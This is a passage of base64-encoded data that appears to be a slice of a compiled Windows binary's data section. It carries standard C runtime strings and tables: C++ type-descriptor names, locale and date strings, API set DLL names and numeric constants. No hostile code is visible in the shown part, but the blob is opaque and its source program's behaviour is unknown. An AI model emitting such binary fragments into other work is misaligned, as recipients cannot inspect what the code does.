VyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAAAAYHVkdCByZXR1cm5pbmcnAGBFSABgUlRUSQAAAAAAAABgbG9jYWwgdmZ0YWJsZScAYGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZScAIG5ld1tdAAAAAAAAIGRlbGV0ZVtdAAAAAAAAAGBvbW5pIGNhbGxzaWcnAABgcGxhY2VtZW50IGRlbGV0ZSBjbG9zdXJlJwAAAAAAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBtYW5hZ2VkIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGBsb2NhbCBzdGF0aWMgdGhyZWFkIGd1YXJkJwAAAAAAb3BlcmF0b3IgIiIgAAAAACBUeXBlIERlc2NyaXB0b3InAAAAAAAAACBCYXNlIENsYXNzIERlc2NyaXB0b3IgYXQgKAAAAAAAIEJhc2UgQ2xhc3MgQXJyYXknAAAAAAAAIENsYXNzIEhpZXJhcmNoeSBEZXNjcmlwdG9yJwAAAAAgQ29tcGxldGUgT2JqZWN0IExvY2F0b3InAAAAAAAAAHhJAIABAAAAgMgBgAEAAABgSgCAAQAAAOQjAIABAAAAYmFkIGV4Y2VwdGlvbgAAAAAAAAAAAAAABgAABgABAAAQAAMGAAYCEARFRUUFBQUFBTUwAFAAAAAAKCA4UFgHCAA3MDBXUAcAACAgCAcAAAAIYGhgYGBgAAB4cHh4eHgIBwgHAAcACAgIAAAIBwgABwgABwAobnVsbCkAAAAAAAAoAG4AdQBsAGwAKQAAAAAAAAAAAAAAAAAFAADACwAAAAAAAAAAAAAAHQAAwAQAAAAAAAAAAAAAAJYAAMAEAAAAAAAAAAAAAACNAADACAAAAAAAAAAAAAAAjgAAwAgAAAAAAAAAAAAAAI8AAMAIAAAAAAAAAAAAAACQAADACAAAAAAAAAAAAAAAkQAAwAgAAAAAAAAAAAAAAJIAAMAIAAAAAAAAAAAAAACTAADACAAAAAAAAAAAAAAAtAIAwAgAAAAAAAAAAAAAALUCAMAIAAAAAAAAAAAAAAAMAAAAAAAAAAMAAAAAAAAACQAAAAAAAABtAHMAYwBvAHIAZQBlAC4AZABsAGwAAABDb3JFeGl0UHJvY2VzcwAA5IUAgAEAAAAAAAAAAAAAADCGAIABAAAAAAAAAAAAAAC0twCAAQAAAHS4AIABAAAAHIYAgAEAAAAchgCAAQAAAGC7AIABAAAAxLsAgAEAAACozgCAAQAAAMTOAIABAAAAAAAAAAAAAACEhgCAAQAAAPifAIABAAAANKAAgAEAAABYsgCAAQAAAJSyAIABAAAA3MwAgAEAAAAchgCAAQAAAMDIAIABAAAAAAAAAAAAAAAAAAAAAAAAAByGAIABAAAAAAAAAAAAAACMhgCAAQAAAByGAIABAAAAIIYAgAEAAAD4hQCAAQAAAByGAIABAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAABAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAALAAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEAAAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAAABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAACgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAACAAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAASU5GAGluZgBOQU4AbmFuAE5BTihTTkFOKQAAAAAAAABuYW4oc25hbikAAAAAAAAATkFOKElORCkAAAAAAAAAAG5hbihpbmQpAAAAAGUrMDAwAAAAAAAAALBWAYABAAAAtFYBgAEAAAC4VgGAAQAAALxWAYABAAAAwFYBgAEAAADEVgGAAQAAAMhWAYABAAAAzFYBgAEAAADUVgGAAQAAAOBWAYABAAAA6FYBgAEAAAD4VgGAAQAAAARXAYABAAAAEFcBgAEAAAAcVwGAAQAAACBXAYABAAAAJFcBgAEAAAAoVwGAAQAAACxXAYABAAAAMFcBgAEAAAA0VwGAAQAAADhXAYABAAAAPFcBgAEAAABAVwGAAQAAAERXAYABAAAASFcBgAEAAABQVwGAAQAAAFhXAYABAAAAZFcBgAEAAABsVwGAAQAAACxXAYABAAAAdFcBgAEAAAB8VwGAAQAAAIRXAYABAAAAkFcBgAEAAACgVwGAAQAAAKhXAYABAAAAuFcBgAEAAADEVwGAAQAAAMhXAYABAAAA0FcBgAEAAADgVwGAAQAAAPhXAYABAAAAAQAAAAAAAAAIWAGAAQAAABBYAYABAAAAGFgBgAEAAAAgWAGAAQAAAChYAYABAAAAMFgBgAEAAAA4WAGAAQAAAEBYAYABAAAAUFgBgAEAAABgWAGAAQAAAHBYAYABAAAAiFgBgAEAAACgWAGAAQAAALBYAYABAAAAyFgBgAEAAADQWAGAAQAAANhYAYABAAAA4FgBgAEAAADoWAGAAQAAAPBYAYABAAAA+FgBgAEAAAAAWQGAAQAAAAhZAYABAAAAEFkBgAEAAAAYWQGAAQAAACBZAYABAAAAKFkBgAEAAAA4WQGAAQAAAFBZAYABAAAAYFkBgAEAAADoWAGAAQAAAHBZAYABAAAAgFkBgAEAAACQWQGAAQAAAKBZAYABAAAAuFkBgAEAAADIWQGAAQAAAOBZAYABAAAA9FkBgAEAAAD8WQGAAQAAAAhaAYABAAAAIFoBgAEAAABIWgGAAQAAAGBaAYABAAAAU3VuAE1vbgBUdWUAV2VkAFRodQBGcmkAU2F0AFN1bmRheQAATW9uZGF5AAAAAAAAVHVlc2RheQBXZWRuZXNkYXkAAAAAAAAAVGh1cnNkYXkAAAAARnJpZGF5AAAAAAAAU2F0dXJkYXkAAAAASmFuAEZlYgBNYXIAQXByAE1heQBKdW4ASnVsAEF1ZwBTZXAAT2N0AE5vdgBEZWMAAAAAAEphbnVhcnkARmVicnVhcnkAAAAATWFyY2gAAABBcHJpbAAAAEp1bmUAAAAASnVseQAAAABBdWd1c3QAAAAAAABTZXB0ZW1iZXIAAAAAAAAAT2N0b2JlcgBOb3ZlbWJlcgAAAAAAAAAARGVjZW1iZXIAAAAAQU0AAFBNAAAAAAAATU0vZGQveXkAAAAAAAAAAGRkZGQsIE1NTU0gZGQsIHl5eXkAAAAAAEhIOm1tOnNzAAAAAAAAAABTAHUAbgAAAE0AbwBuAAAAVAB1AGUAAABXAGUAZAAAAFQAaAB1AAAARgByAGkAAABTAGEAdAAAAFMAdQBuAGQAYQB5AAAAAABNAG8AbgBkAGEAeQAAAAAAVAB1AGUAcwBkAGEAeQAAAFcAZQBkAG4AZQBzAGQAYQB5AAAAAAAAAFQAaAB1AHIAcwBkAGEAeQAAAAAAAAAAAEYAcgBpAGQAYQB5AAAAAABTAGEAdAB1AHIAZABhAHkAAAAAAAAAAABKAGEAbgAAAEYAZQBiAAAATQBhAHIAAABBAHAAcgAAAE0AYQB5AAAASgB1AG4AAABKAHUAbAAAAEEAdQBnAAAAUwBlAHAAAABPAGMAdAAAAE4AbwB2AAAARABlAGMAAABKAGEAbgB1AGEAcgB5AAAARgBlAGIAcgB1AGEAcgB5AAAAAAAAAAAATQBhAHIAYwBoAAAAAAAAAEEAcAByAGkAbAAAAAAAAABKAHUAbgBlAAAAAAAAAAAASgB1AGwAeQAAAAAAAAAAAEEAdQBnAHUAcwB0AAAAAABTAGUAcAB0AGUAbQBiAGUAcgAAAAAAAABPAGMAdABvAGIAZQByAAAATgBvAHYAZQBtAGIAZQByAAAAAAAAAAAARABlAGMAZQBtAGIAZQByAAAAAABBAE0AAAAAAFAATQAAAAAAAAAAAE0ATQAvAGQAZAAvAHkAeQAAAAAAAAAAAGQAZABkAGQALAAgAE0ATQBNAE0AIABkAGQALAAgAHkAeQB5AHkAAABIAEgAOgBtAG0AOgBzAHMAAAAAAAAAAABlAG4ALQBVAFMAAAAAAAAAEFsBgAEAAABgWwGAAQAAAPBEAYABAAAAoFsBgAEAAADgWwGAAQAAADBcAYABAAAAkFwBgAEAAADgXAGAAQAAADBFAYABAAAAIF0BgAEAAABgXQGAAQAAAKBdAYABAAAA4F0BgAEAAAAwXgGAAQAAAJBeAYABAAAA8F4BgAEAAABAXwGAAQAAANhEAYABAAAAcEUBgAEAAACQXwGAAQAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBhAHAAcABtAG8AZABlAGwALQByAHUAbgB0AGkAbQBlAC0AbAAxAC0AMQAtADEAAAAAAAAAAAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQBkAGEAdABlAHQAaQBtAGUALQBsADEALQAxAC0AMQAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AZgBpAGwAZQAtAGwAMgAtADEALQAxAAAAAAAAAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAGwAbwBjAGEAbABpAHoAYQB0AGkAbwBuAC0AbAAxAC0AMgAtADEAAAAAAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AbABvAGMAYQBsAGkAegBhAHQAaQBvAG4ALQBvAGIAcwBvAGwAZQB0AGUALQBsADEALQAyAC0AMAAAAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AcAByAG8AYwBlAHMAcwB0AGgAcgBlAGEAZABzAC0AbAAxAC0AMQAtADIAAAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQBzAHQAcgBpAG4AZwAtAGwAMQAtADEALQAwAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AcwB5AHMAaQBuAGYAbwAtAGwAMQAtADIALQAxAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHcAaQBuAHIAdAAtAGwAMQAtADEALQAwAAAAAAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQB4AHMAdABhAHQAZQAtAGwAMgAtADEALQAwAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQByAHQAYwBvAHIAZQAtAG4AdAB1AHMAZQByAC0AdwBpAG4AZABvAHcALQBsADEALQAxAC0AMAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAHMAZQBjAHUAcgBpAHQAeQAtAHMAeQBzAHQAZQBtAGYAdQBuAGMAdABpAG8AbgBzAC0AbAAxAC0AMQAtADAAAAAAAAAAAAAAAAAAZQB4AHQALQBtAHMALQB3AGkAbgAtAGsAZQByAG4AZQBsADMAMgAtAHAAYQBjAGsAYQBnAGUALQBjAHUAcgByAGUAbgB0AC0AbAAxAC0AMQAtADAAAAAAAAAAAAAAAAAAZQB4AHQALQBtAHMALQB3AGkAbgAtAG4AdAB1AHMAZQByAC0AZABpAGEAbABvAGcAYgBvAHgALQBsADEALQAxAC0AMAAAAAAAAAAAAAAAAABlAHgAdAAtAG0AcwAtAHcAaQBuAC0AbgB0AHUAcwBlAHIALQB3AGkAbgBkAG8AdwBzAHQAYQB0AGkAbwBuAC0AbAAxAC0AMQAtADAAAAAAAHUAcwBlAHIAMwAyAAAAAAACAAAAEgAAAAIAAAASAAAAAgAAABIAAAACAAAAEgAAAAAAAAAOAAAAR2V0Q3VycmVudFBhY2thZ2VJZAAAAAAACAAAABIAAAAEAAAAEgAAAExDTWFwU3RyaW5nRXgAAAAEAAAAEgAAAExvY2FsZU5hbWVUb0xDSUQAAAAAAAAAAEBgAYABAAAAUGABgAEAAABgYAGAAQAAAHBgAYABAAAAagBhAC0ASgBQAAAAAAAAAHoAaAAtAEMATgAAAAAAAABrAG8ALQBLAFIAAAAAAAAAegBoAC0AVABXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/wAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAIABAAEAAQABAAEAAQABAAEAAQABIBEAAQADAAEAAQABAAEAAUABQAEAASARAAEAAQABQAEgEQABAAEAAQABAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAAQEBAQEBAQEBAQEBAQECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQAAIBAgECAQIBAgECAQIBAgEBAQAAAAAAAAAAAAAAAADkC1QCAAAAAAAQYy1ex2sFAAAAAAAAQOrtdEbQnCyfDAAAAABh9bmrv6Rcw/EpYx0AAAAAAGS1/TQFxNKHZpL5FTtsRAAAAAAAABDZkGWULEJi1wFFIpoXJidPnwAAAEAClQfBiVYkHKf6xWdtyHPcba3rcgEAAAAAwc5kJ6Jjyhik7yV70c1w799rHz7qnV8DAAAAAADkbv7DzWoMvGYyHzkuAwJFWiX40nFWSsLD2gcAABCPLqgIQ7KqfBohjkDOivMLzsSEJwvrfMOUJa1JEgAAAEAa3dpUn8y/YVncq6tcxwxEBfVnFrzRUq+3+ymNj2CUKgAAAAAAIQyKuxekjq9WqZ9HBjayS13gX9yACqr+8EDZjqjQgBprI2MAAGQ4TDKWx1eD1UJK5GEiqdk9EDy9cvPlkXQVWcANph3sbNkqENPmAAAAEIUeW2FPbmkqexgc4lAEKzTdL+4nUGOZccmmFulKjiguCBdvbkkabhkCAAAAQDImQK0EUHIe+dXRlCm7zVtmli47ott9+mWsU953m6IgsFP5v8arJZRLTeMEAIEtw/v00CJSUCgPt/PyE1cTFELcfV051pkZWfgcOJIA1hSzhrl3pXph/rcSamELAADkER2NZ8NWIB+UOos2CZsIaXC9vmV2IOvEJpud6GcVbgkVnSvyMnETUUi+zqLlRVJ/GgAAABC7eJT3AsB0G4wAXfCwdcbbqRS52eLfcg9lTEsodxbg9m3CkUNRz8mVJ1Wr4tYn5qicprE9AAAAAEBK0Oz08Igjf8VtClhvBL9Dw10t+EgIEe4cWaD6KPD0zT+lLhmgcda8h0RpfQFu+RCdVhp5daSPAADhsrk8dYiCkxY/zWs6tIneh54IRkVNaAym2/2RkyTfE+xoMCdEtJnuQYG2w8oCWPFRaNmiJXZ9jXFOAQAAZPvmg1ryD61XlBG1gABmtSkgz9LF131tP6UcTbfN3nCd2j1BFrdOytBxmBPk15A6QE/iP6v5b3dNJuavCgMAAAAQMVWrCdJYDKbLJmFWh4McasH0h3V26EQsz0egQZ4FCMk+Brqg6MjP51XA+uGyRAHvsH4gJHMlctGB+bjkrgUVB0BiO3pPXaTOM0HiT21tDyHyM1blVhPBJZfX6yiE65bTdztJHq4tH0cgOK2W0c76itvN3k6GwGhVoV1psok8EiRxRX0QAABBHCdKF25XrmLsqoki7937orbk7+EX8r1mM4CItDc+LLi/kd6sGQhk9NROav81DmpWZxS520DKOyp4aJsya9nFr/W8aWQmAAAA5PRfgPuv0VXtqCBKm/hXl6sK/q4Be6YsSmmVvx4pHMTHqtLV2HbHNtEMVdqTkJ3HmqjLSyUYdvANCYio93QQHzr8EUjlrY5jWRDny5foadcmPnLktIaqkFsiOTOcdQd6S5HpRy13+W6a50ALFsT4kgwQ8F/yEWzDJUKL+cmdkQtzr3z/BYUtQ7BpdSstLIRXphDvH9AAQHrH5WK46GqI2BDlmM3IxVWJEFW2WdDUvvtYMYK4AxlFTAM5yU0ZrADFH+LATHmhgMk70S2x6fgibV6aiTh72Bl5znJ2xnifueV5TgOU5AEAAAAAAACh6dRcbG995Jvn2Tv5oW9id1E0i8boWSveWN48z1j/RiIVfFeoWXXnJlNndxdjt+brXwr942k56DM1oAWoh7kx9kMPHyHbQ1rYlvUbq6IZP2gEAAAAZP59vi8EyUuw7fXh2k6hj3PbCeSc7k9nDZ8Vqda1tfYOljhzkcJJ68yXK1+VPzgP9rORIBQ3eNHfQtHB3iI+FVffr4pf5fV3i8rno1tSLwM9T+dCCgAAAAAQ3fRSCUVd4UK0ri40s6Nvo80/bnootPd3wUvQyNJn4Piormc7ya2zVshsC52dlQDBSFs9ir5K9DbZUk3o23HFIRz5CYFFSmrYqtd8TOEInKWbdQCIPOQXAAAAAABAktQQ8QS+cmQYDME2h/ureBQpr1H8OZfrJRUwK0wLDgOhOzz+KLr8iHdYQ564pOQ9c8LyRnyYYnSPDyEZ2662oy6yFFCqjas56kI0lpep398B/tPz0oACeaA3AAAAAZucUPGt3McsrT04N03Gc9BnbeoGqJtR+PIDxKLhUqA6IxDXqXOFRLrZEs8DGIdwmzrcUuhSsuVO+xcHL6ZNvuHXqwpP7WKMe+y5ziFAZtQAgxWh5nXjzPIpL4SBAAAAAOQXd2T79dNxPXag6S8UfWZM9DMu8bjzjg0PE2mUTHOoDyZgQBMBPAqIccwhLaU378nairQxu0JBTPnWbAWLyLgBBeJ87ZdSxGHDYqrY2ofe6jO4YWjwlL2azBNq1cGNLQEAAAAAEBPoNnrGnikW9Ao/SfPPpqV3oyO+pIJboswvchA1f0SdvrgTwqhOMkzJrTOevLr+rHYyIUwuMs0TPrSR/nA22Vy7hZcUQv0azEb43Tjm0ocHaRfRAhr+8bU+rqu5w2/uCBy+AgAAAAAAQKrCQIHZd/gsPdfhcZgv59UJY1Fy3Rmor0ZaKtbO3AIq/t1Gzo0kEyet0iO3GbsExCvMBrfK67FH3EsJncoC3MWOUeYxgFbDjqhYLzRCHgSLFOW//hP8/wUPeWNn/TbVZnZQ4bliBgAAAGGwZxoKAdLA4QXQO3MS2z8un6PinbJh4txjKrwEJpSb1XBhliXjwrl1CxQhLB0fYGoTuKI70olzffFg39fKxivfaQY3h7gk7QaTZutuSRlv242TdYJ0XjaabsUxt5A2xUIoyI55riTeDgAAAABkQcGaiNWZLEPZGueAoi499ms9eUmCQ6nneUrm/SKacNbg78/KBdekjb1sAGTjs9xOpW4IqKGeRY90yFSO/FfGdMzUw7hCbmPZV8xbtTXp/hNsYVHEGtu6lbWdTvGhUOf53HF/Ywcrny/enSIAAAAAABCJvV48Vjd34zijyz1PntKBLJ73pHTH+cOX5xxqOORfrJyL8wf67IjVrMFaPs7Mr4VwPx+d020t6AwYfRdvlGle4SyOZEg5oZUR4A80WDwXtJT2SCe9VyZ8LtqLdaCQgDsTttstkEjPbX4E5CSZUAAAAAAAAAAAAAAAAAACAgAAAwUAAAQJAAEEDQABBRIAAQYYAAIGHgACByUAAggtAAMINQADCT4AAwpIAAQKUgAEC10ABAxpAAUMdQAFDYIABQ6QAAUPnwAGD64ABhC+AAYRzwAHEeAABxLyAAcTBQEIExgBCBUtAQgWQwEJFlkBCRdwAQkYiAEKGKABChm5AQoa0wEKG+4BCxsJAgscJQILHQoAAABkAAAA6AMAABAnAACghgEAQEIPAICWmAAA4fUFAMqaOzAAAAAxI0lORgAAADEjUU5BTgAAMSNTTkFOAAAxI0lORAAAAHUAawAAAAAAAAAAAAAAAAABAAAAAAAAANCAAYABAAAAAgAAAAAAAADYgAGAAQAAAAMAAAAAAAAA4IABgAEAAAAEAAAAAAAAAOiAAYABAAAABQAAAAAAAAD4gAGAAQAAAAYAAAAAAAAAAIEBgAEAAAAHAAAAAAAAAAiBAYABAAAACAAAAAAAAAAQgQGAAQAAAAkAAAAAAAAAGIEBgAEAAAAKAAAAAAAAACCBAYABAAAACwAAAAAAAAAogQGAAQAAAAwAAAAAAAAAMIEBgAEAAAANAAAAAAAAADiBAYABAAAADgAAAAAAAABAgQGAAQAAAA8AAAAAAAAASIEBgAEAAAAQAAAAAAAAAFCBAYABAAAAEQAAAAAAAABYgQGAAQAAABIAAAAAAAAAYIEBgAEAAAATAAAAAAAAAGiBAYABAAAAFAAAAAAAAABwgQGAAQAAABUAAAAAAAAAeIEBgAEAAAAWAAAAAAAAAICBAYABAAAAGAAAAAAAAACIgQGAAQAAABkAAAAAAAAAkIEBgAEAAAAaAAAAAAAAAJiBAYABAAAAGwAAAAAAAACggQGAAQAAABwAAAAAAAAAqIEBgAEAAAAdAAAAAAAAALCBAYABAAAAHgAAAAAAAAC4gQGAAQAAAB8AAAAAAAAAwIEBgAEAAAAgAAAAAAAAAMiBAYABAAAAIQAAAAAAAADQgQGAAQAAACIAAAAAAAAAgHIBgAEAAAAjAAAAAAAAANiBAYABAAAAJAAAAAAAAADggQGAAQAAACUAAAAAAAAA6IEBgAEAAAAmAAAAAAAAAPCBAYABAAAAJwAAAAAAAAD4gQGAAQAAACkAAAAAAAAAAIIBgAEAAAAqAAAAAAAAAAiCAYABAAAAKwAAAAAAAAAQggGAAQAAACwAAAAAAAAAGIIBgAEAAAAtAAAAAAAAACCCAYABAAAALwAAAAAAAAAoggGAAQAAADYAAAAAAAAAMIIBgAEAAAA3AAAAAAAAADiCAYABAAAAOAAAAAAAAABAggGAAQAAADkAAAAAAAAASIIBgAEAAAA+AAAAAAAAAFCCAYABAAAAPwAAAAAAAABYggGAAQAAAEAAAAAAAAAAYIIBgAEAAABBAAAAAAAAAGiCAYABAAAAQwAAAAAAAABwggGAAQAAAEQAAAAAAAAAeIIBgAEAAABGAAAAAAAAAICCAYABAAAARwAAAAAAAACIggGAAQAAAEkAAAAAAAAAkIIBgAEAAABKAAAAAAAAAJiCAYABAAAASwAAAAAAAACgggGAAQAAAE4AAAAAAAAAqIIBgAEAAABPAAAAAAAAALCCAYABAAAAUAAAAAAAAAC4ggGAAQAAAFYAAAAAAAAAwIIBgAEAAABXAAAAAAAAAMiCAYABAAAAWgAAAAAAAADQggGAAQAAAGUAAAAAAAAA2IIBgAEAAAB/AAAAAAAAAOCCAYABAAAAAQQAAAAAAADoggGAAQAAAAIEAAAAAAAA+IIBgAEAAAADBAAAAAAAAAiDAYABAAAABAQAAAAAAABwYAGAAQAAAAUEAAAAAAAAGIMBgAEAAAAGBAAAAAAAACiDAYABAAAABwQAAAAAAAA4gwGAAQAAAAgEAAAAAAAASIMBgAEAAAAJBAAAAAAAAGBaAYABAAAACwQAAAAAAABYgwGAAQAAAAwEAAAAAAAAaIMBgAEAAAANBAAAAAAAAHiDAYABAAAADgQAAAAAAACIgwGAAQAAAA8EAAAAAAAAmIMBgAEAAAAQBAAAAAAAAKiDAYABAAAAEQQAAAAAAABAYAGAAQAAABIEAAAAAAAAYGABgAEAAAATBAAAAAAAALiDAYABAAAAFAQAAAAAAADIgwGAAQAAABUEAAAAAAAA2IMBgAEAAAAWBAAAAAAAAOiDAYABAAAAGAQAAAAAAAD4gwGAAQAAABkEAAAAAAAACIQBgAEAAAAaBAAAAAAAABiEAYABAAAAGwQAAAAAAAAohAGAAQAAABwEAAAAAAAAOIQBgAEAAAAdBAAAAAAAAEiEAYABAAAAHgQAAAAAAABYhAGAAQAAAB8EAAAAAAAAaIQBgAEAAAAgBAAAAAAAAHiEAYABAAAAIQQAAAAAAACIhAGAAQAAACIEAAAAAAAAmIQBgAEAAAAjBAAAAAAAAKiEAYABAAAAJAQAAAAAAAC4hAGAAQAAACUEAAAAAAAAyIQBgAEAAAAmBAAAAAAAANiEAYABAAAAJwQAAAAAAADohAGAAQAAACkEAAAAAAAA+IQBgAEAAAAqBAAAAAAAAAiFAYABAAAAKwQAAAAAAAAYhQGAAQAAACwEAAAAAAAAKIUBgAEAAAAtBAAAAAAAAECFAYABAAAALwQAAAAAAABQhQGAAQAAADIEAAAAAAAAYIUBgAEAAAA0BAAAAAAAAHCFAYABAAAANQQAAAAAAACAhQGAAQAAADYEAAAAAAAAkIUBgAEAAAA3BAAAAAAAAKCFAYABAAAAOAQAAAAAAACwhQGAAQAAADkEAAAAAAAAwIUBgAEAAAA6BAAAAAAAANCFAYABAAAAOwQAAAAAAADghQGAAQAAAD4EAAAAAAAA8IUBgAEAAAA/BAAAAAAAAACGAYABAAAAQAQAAAAAAAAQhgGAAQAAAEEEAAAAAAAAIIYBgAEAAABDBAAAAAAAADCGAYABAAAARAQAAAAAAABIhgGAAQAAAEUEAAAAAAAAWIYBgAEAAABGBAAAAAAAAGiGAYABAAAARwQAAAAAAAB4hgGAAQAAAEkEAAAAAAAAiIYBgAEAAABKBAAAAAAAAJiGAYABAAAASwQAAAAAAACohgGAAQAAAEwEAAAAAAAAuIYBgAEAAABOBAAAAAAAAMiGAYABAAAATwQAAAAAAADYhgGAAQAAAFAEAAA